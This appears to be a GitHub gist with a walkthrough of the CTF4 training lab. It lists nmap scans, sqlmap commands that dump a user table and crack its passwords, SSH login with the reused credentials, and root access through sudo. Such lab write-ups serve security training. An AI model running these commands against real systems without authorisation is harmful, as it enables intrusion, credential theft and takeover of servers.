Skip to content

Instantly share code, notes, and snippets.

@superzadeh
Last active February 10, 2017 09:49
Show Gist options
  • Save superzadeh/afbec15a920ef02d7b2a060c0cb09265 to your computer and use it in GitHub Desktop.
Save superzadeh/afbec15a920ef02d7b2a060c0cb09265 to your computer and use it in GitHub Desktop.
CTF4 solution #tags: hacking, ctf4, lab, ceh

CTF4 solution

Scan the subnetwork

nmap -sn 10.10.10.0/24

Perform a full scan on the target

nmap -A 10.10.10.2

By looking at the robot.txt in nmap's output, we find a few interesting URLs:

  • http://10.10.10.2/restricted leaks the Apache version, can be used to find exploits
  • http://10.10.10.2/admin access to the website admin (sql injection possible in the login form, just disable some JS that sanitize the content client side)
  • http://10.10.10.2/sql/db.sql leaks the schemas of the DB, useful during SQL injection
  • http://10.10.10.2/conf indicate that there is some configuration in here, leaks Apache verion and and login name of the administrator (dstevens). He most likely has root access
  • http://10.10.10.2/mail leaks version of the SquirrelMail, can be used to find exploits. This can also be exploited to have access to emails and search for valuable information.

Using sqlmap, we can crawl the website to find vulnerable URLs:

 sqlmap -u 'http://10.10.10.2' --crawl=3

It looks like this URL is vulnerable: http://10.10.10.2/index.html?page=blog&title=Blog&id=2. Since we already know a possible schema of the DB (nothing guarantees the script found in sql/db.sql has been run), we can try to dump the user table from tthe DB ehks right away:

sqlmap -u 'http://10.10.10.2/index.html?page=blog&title=Blog&id=2' -p id -D ehks -T user --dump

If the schema was unknown, we could also run this command first:

sqlmap -u 'http://10.10.10.2/index.html?page=blog&title=Blog&id=2' -p id --schema

When dumping the data, we try to break the passwords using sqlmaps' dictionary attack with the default wordlist. It works, and we obtain a list of credentials. We know that dstevens is the administrator of the server, so we try to login using ssh (nmap releaved ssh was running on default port, 22):

ssh dstevens@10.10.10.2

We can successfully open an ssh connection, meaning that the password found in the website's DB was reused as account credentials. One thing to check for quick wins is the history of the user:

history

It looks like dstevens has indeed a root access (sudo and su found in history). Based on this, we try to elevate as root:

sudo -s

Et voilà!

Other notable vulnerabilities:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment